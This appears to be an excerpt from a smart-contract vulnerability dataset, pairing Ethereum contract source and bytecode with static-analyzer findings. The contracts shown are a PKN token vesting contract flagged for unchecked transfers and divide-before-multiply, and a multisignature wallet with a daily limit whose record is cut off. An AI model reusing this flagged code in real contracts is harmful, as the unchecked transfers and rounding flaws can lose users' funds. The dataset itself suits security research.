20556115918161175f565b61159b84836117a9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e091815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160e828261148c565b82101561162a57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116545760405162461bcd60e51b81526004016105f291906119f1565b5060006111eb8486611d3c565b600080600080600080600080600061167e8a600c54600d546117cd565b925092509250600061168e611469565b905060008060006116a18e878787611822565b919e509c509a509598509396509194505050505091939550919395565b60006112ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ba565b60008061170d8385611c7f565b9050838110156112ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f2565b6000611769611469565b905060006117778383611872565b306000908152600260205260409020549091506117949082611700565b30600090815260026020526040902055505050565b6006546117b690836116be565b6006556007546117c69082611700565b6007555050565b60008080806117e760646117e18989611872565b9061148c565b905060006117fa60646117e18a89611872565b905060006118128261180c8b866116be565b906116be565b9992985090965090945050505050565b60008080806118318886611872565b9050600061183f8887611872565b9050600061184d8888611872565b9050600061185f8261180c86866116be565b939b939a50919850919650505050505050565b60008261188157506000610678565b600061188d8385611d5e565b90508261189a8583611d3c565b146112ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f2565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c257600080fd5b803561192781611907565b919050565b6000602080838503121561193f57600080fd5b823567ffffffffffffffff8082111561195757600080fd5b818501915085601f83011261196b57600080fd5b81358181111561197d5761197d6118f1565b8060051b604051601f19603f830116810181811085821117156119a2576119a26118f1565b6040529182528482019250838101850191888311156119c057600080fd5b938501935b828510156119e5576119d68561191c565b845293850193928501926119c5565b98975050505050505050565b600060208083528351808285015260005b81811015611a1e57858101830151858201604001528201611a02565b81811115611a30576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5957600080fd5b8235611a6481611907565b946020939093013593505050565b600080600060608486031215611a8757600080fd5b8335611a9281611907565b92506020840135611aa281611907565b929592945050506040919091013590565b600060208284031215611ac557600080fd5b81356112ab81611907565b8035801515811461192757600080fd5b600060208284031215611af257600080fd5b6112ab82611ad0565b600060208284031215611b0d57600080fd5b5035919050565b60008060008060808587031215611b2a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5b57600080fd5b833567ffffffffffffffff80821115611b7357600080fd5b818601915086601f830112611b8757600080fd5b813581811115611b9657600080fd5b8760208260051b8501011115611bab57600080fd5b602092830195509350611bc19186019050611ad0565b90509250925092565b60008060408385031215611bdd57600080fd5b8235611be881611907565b91506020830135611bf881611907565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7857611c78611c4e565b5060010190565b60008219821115611c9257611c92611c4e565b500190565b600082821015611ca957611ca9611c4e565b500390565b600060208284031215611cc057600080fd5b81516112ab81611907565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1b5784516001600160a01b031683529383019391830191600101611cf6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7857611d78611c4e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200fbc5c4ada22ad1d331815ce93a8efa2dade9b993e0acf684b580287fa77680e64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,427 |
0xa37c52a98a6357b10fc3aa391408ed9aea087130 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract PKNVesting is Ownable {
uint256 private constant ONE_MONTH = 30 days;
uint256 public immutable START_TIME;
uint256 public immutable DURATION_MONTHS;
uint256 public totalAllocations;
IERC20 public PKN;
struct Allocation {
uint256 amount;
uint256 amountClaimed;
uint256 monthsClaimed;
}
mapping (address => Allocation) public PKNAllocations;
constructor(address _PKN, uint256 _startTime, uint256 _numOfMonths) {
PKN = IERC20(_PKN);
START_TIME = _startTime;
DURATION_MONTHS = _numOfMonths;
}
function getVestedAmount(address _recipient) public view returns(uint256 monthsVested, uint256 amountVested) {
Allocation storage PKNAllocation = PKNAllocations[_recipient];
require(PKNAllocation.amountClaimed < PKNAllocation.amount, "Allocation fully claimed");
if (_currentTime() < START_TIME) {
return (0, 0);
}
uint256 elapsedMonths = 1 + (_currentTime() - START_TIME) / ONE_MONTH;
if(elapsedMonths >= DURATION_MONTHS) {
uint256 remainingAllocation = PKNAllocation.amount - PKNAllocation.amountClaimed;
return (DURATION_MONTHS, remainingAllocation);
}
monthsVested = elapsedMonths - PKNAllocation.monthsClaimed;
amountVested = monthsVested * (PKNAllocation.amount / DURATION_MONTHS);
}
function getAllocationDetails(address _recipient) external view returns(Allocation memory) {
return PKNAllocations[_recipient];
}
function addAllocation(address[] calldata _recipients, uint256[] calldata _amounts) external onlyOwner {
require(_recipients.length == _amounts.length, "Invalid input lengths");
uint256 totalAmount = 0;
for (uint256 i = 0; i < _recipients.length; i++) {
totalAmount += _amounts[i];
_addAllocation(_recipients[i], _amounts[i]);
}
totalAllocations += _recipients.length;
require(_receivePKN(msg.sender, totalAmount) == totalAmount, "Recieved less PKN than transferred");
}
function resetAllocation(address _recipient) external onlyOwner {
Allocation storage PKNAllocation = PKNAllocations[_recipient];
uint256 amount = PKNAllocation.amount;
require(amount > 0, "No allocation available");
delete PKNAllocations[_recipient];
PKN.transfer(owner(), amount);
}
function releaseVestedTokens() external {
_releaseVestedTokens(msg.sender);
}
function batchReleaseVestedTokens(address[] calldata _recipients) external {
for (uint256 i = 0; i < _recipients.length; i++) {
_releaseVestedTokens(_recipients[i]);
}
}
// DOES NOT transfer PKN to the contract. Needs to be handled by the caller.
function _addAllocation(address _recipient, uint256 _amount) internal {
require(PKNAllocations[_recipient].amount == 0, "Allocation already exists");
require(_amount >= DURATION_MONTHS, "Amount too low");
Allocation memory allocation = Allocation({
amount: _amount,
amountClaimed: 0,
monthsClaimed: 0
});
PKNAllocations[_recipient] = allocation;
}
function _releaseVestedTokens(address _recipient) internal {
(uint256 monthsVested, uint256 amountVested) = getVestedAmount(_recipient);
require(amountVested > 0, "Vested amount is 0");
Allocation storage PKNAllocation = PKNAllocations[_recipient];
PKNAllocation.monthsClaimed = PKNAllocation.monthsClaimed + monthsVested;
PKNAllocation.amountClaimed = PKNAllocation.amountClaimed + amountVested;
PKN.transfer(_recipient, amountVested);
}
function _receivePKN(address from, uint256 amount) internal returns(uint256) {
uint256 balanceBefore = PKN.balanceOf(address(this));
PKN.transferFrom(from, address(this), amount);
uint256 balanceAfter = PKN.balanceOf(address(this));
return balanceAfter - balanceBefore;
}
function _currentTime() internal view returns(uint256) {
return block.timestamp;
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063b46a389b1161008c578063ddaa26ad11610066578063ddaa26ad14610218578063df4e325a1461023f578063e0cdde3a14610252578063f2fde38b1461028757600080fd5b8063b46a389b146101b6578063c63fe2f6146101dd578063d5a73fdd146101f057600080fd5b8063688c3e40116100c8578063688c3e4014610128578063715018a6146101535780638da5cb5b1461015b57806391c10a3e1461016c57600080fd5b806308dc2473146100ef57806354dd1da41461010457806363b51ac01461010c575b600080fd5b6101026100fd366004610d1c565b61029a565b005b6101026103ff565b61011560015481565b6040519081526020015b60405180910390f35b60025461013b906001600160a01b031681565b6040516001600160a01b03909116815260200161011f565b61010261040a565b6000546001600160a01b031661013b565b61019b61017a366004610d1c565b60036020526000908152604090208054600182015460029092015490919083565b6040805193845260208401929092529082015260600161011f565b6101157f000000000000000000000000000000000000000000000000000000000000000a81565b6101026101eb366004610d8e565b61043e565b6102036101fe366004610d1c565b6105c1565b6040805192835260208301919091520161011f565b6101157f0000000000000000000000000000000000000000000000000000000062385ab081565b61010261024d366004610d4c565b610764565b610265610260366004610d1c565b6107b5565b604080518251815260208084015190820152918101519082015260600161011f565b610102610295366004610d1c565b61081b565b6000546001600160a01b031633146102cd5760405162461bcd60e51b81526004016102c490610e35565b60405180910390fd5b6001600160a01b03811660009081526003602052604090208054806103345760405162461bcd60e51b815260206004820152601760248201527f4e6f20616c6c6f636174696f6e20617661696c61626c6500000000000000000060448201526064016102c4565b6001600160a01b03808416600090815260036020526040812081815560018101829055600290810191909155541663a9059cbb6103796000546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101849052604401602060405180830381600087803b1580156103c157600080fd5b505af11580156103d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103f99190610dfa565b50505050565b610408336108b6565b565b6000546001600160a01b031633146104345760405162461bcd60e51b81526004016102c490610e35565b61040860006109d3565b6000546001600160a01b031633146104685760405162461bcd60e51b81526004016102c490610e35565b8281146104af5760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420696e707574206c656e6774687360581b60448201526064016102c4565b6000805b8481101561053b578383828181106104cd576104cd610f0b565b90506020020135826104df9190610e6a565b91506105298686838181106104f6576104f6610f0b565b905060200201602081019061050b9190610d1c565b85858481811061051d5761051d610f0b565b90506020020135610a23565b8061053381610eda565b9150506104b3565b5084849050600160008282546105519190610e6a565b909155508190506105623382610b30565b146105ba5760405162461bcd60e51b815260206004820152602260248201527f5265636965766564206c65737320504b4e207468616e207472616e7366657272604482015261195960f21b60648201526084016102c4565b5050505050565b6001600160a01b038116600090815260036020526040812080546001820154839291116106305760405162461bcd60e51b815260206004820152601860248201527f416c6c6f636174696f6e2066756c6c7920636c61696d6564000000000000000060448201526064016102c4565b7f0000000000000000000000000000000000000000000000000000000062385ab04210156106645750600093849350915050565b600062278d006106947f0000000000000000000000000000000000000000000000000000000062385ab042610ec3565b61069e9190610e82565b6106a9906001610e6a565b90507f000000000000000000000000000000000000000000000000000000000000000a811061071257600182015482546000916106e591610ec3565b7f000000000000000000000000000000000000000000000000000000000000000a97909650945050505050565b60028201546107219082610ec3565b8254909450610751907f000000000000000000000000000000000000000000000000000000000000000a90610e82565b61075b9085610ea4565b92505050915091565b60005b818110156107b05761079e83838381811061078457610784610f0b565b90506020020160208101906107999190610d1c565b6108b6565b806107a881610eda565b915050610767565b505050565b6107d960405180606001604052806000815260200160008152602001600081525090565b506001600160a01b0316600090815260036020908152604091829020825160608101845281548152600182015492810192909252600201549181019190915290565b6000546001600160a01b031633146108455760405162461bcd60e51b81526004016102c490610e35565b6001600160a01b0381166108aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102c4565b6108b3816109d3565b50565b6000806108c2836105c1565b915091506000811161090b5760405162461bcd60e51b8152602060048201526012602482015271056657374656420616d6f756e7420697320360741b60448201526064016102c4565b6001600160a01b03831660009081526003602052604090206002810154610933908490610e6a565b60028201556001810154610948908390610e6a565b600182015560025460405163a9059cbb60e01b81526001600160a01b038681166004830152602482018590529091169063a9059cbb90604401602060405180830381600087803b15801561099b57600080fd5b505af11580156109af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ba9190610dfa565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03821660009081526003602052604090205415610a895760405162461bcd60e51b815260206004820152601960248201527f416c6c6f636174696f6e20616c7265616479206578697374730000000000000060448201526064016102c4565b7f000000000000000000000000000000000000000000000000000000000000000a811015610aea5760405162461bcd60e51b815260206004820152600e60248201526d416d6f756e7420746f6f206c6f7760901b60448201526064016102c4565b60408051606081018252918252600060208084018281528484018381526001600160a01b0390961683526003909152919020915182555160018201559051600290910155565b6002546040516370a0823160e01b815230600482015260009182916001600160a01b03909116906370a082319060240160206040518083038186803b158015610b7857600080fd5b505afa158015610b8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb09190610e1c565b6002546040516323b872dd60e01b81526001600160a01b038781166004830152306024830152604482018790529293509116906323b872dd90606401602060405180830381600087803b158015610c0657600080fd5b505af1158015610c1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3e9190610dfa565b506002546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a082319060240160206040518083038186803b158015610c8357600080fd5b505afa158015610c97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbb9190610e1c565b9050610cc78282610ec3565b95945050505050565b60008083601f840112610ce257600080fd5b50813567ffffffffffffffff811115610cfa57600080fd5b6020830191508360208260051b8501011115610d1557600080fd5b9250929050565b600060208284031215610d2e57600080fd5b81356001600160a01b0381168114610d4557600080fd5b9392505050565b60008060208385031215610d5f57600080fd5b823567ffffffffffffffff811115610d7657600080fd5b610d8285828601610cd0565b90969095509350505050565b60008060008060408587031215610da457600080fd5b843567ffffffffffffffff80821115610dbc57600080fd5b610dc888838901610cd0565b90965094506020870135915080821115610de157600080fd5b50610dee87828801610cd0565b95989497509550505050565b600060208284031215610e0c57600080fd5b81518015158114610d4557600080fd5b600060208284031215610e2e57600080fd5b5051919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610e7d57610e7d610ef5565b500190565b600082610e9f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610ebe57610ebe610ef5565b500290565b600082821015610ed557610ed5610ef5565b500390565b6000600019821415610eee57610eee610ef5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea26469706673582212200a57c7798a88265eaf3c6ec5872baf8c843950733bd5033798ca213f21c4e40764736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 1,428 |
0x02624Cd186CACCF51Ed379Ef3967981C7D98186c | pragma solidity ^0.4.18;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f98a8d9c9f9897d79e9c968b9e9cb99a96978a9c978a808ad7979c8d">[email protected]</a>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner){
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT);
require(_required <= ownerCount);
require(_required != 0);
require(ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable public
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++)
{
require(isOwner[_owners[i]] == false);
require(_owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txi = transactions[transactionId];
txi.executed = true;
if (txi.destination.call.value(txi.value)(txi.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txi.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="4536312023242b6b22202a37222005262a2b36202b363c366b2b2031">[email protected]</a>>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
event DailyLimitChange(uint dailyLimit);
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
Transaction storage txi = transactions[transactionId];
bool confirmed = isConfirmed(transactionId);
if (confirmed || txi.data.length == 0 && isUnderLimit(txi.value)) {
txi.executed = true;
if (!confirmed)
spentToday += txi.value;
if (txi.destination.call.value(txi.value)(txi.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txi.executed = false;
if (!confirmed)
spentToday -= txi.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
} | 0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110d2565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111b8565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a36004808035906020019091905050611284565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818154600181600116156101000203166002900481526020019150805460018160011615610100020316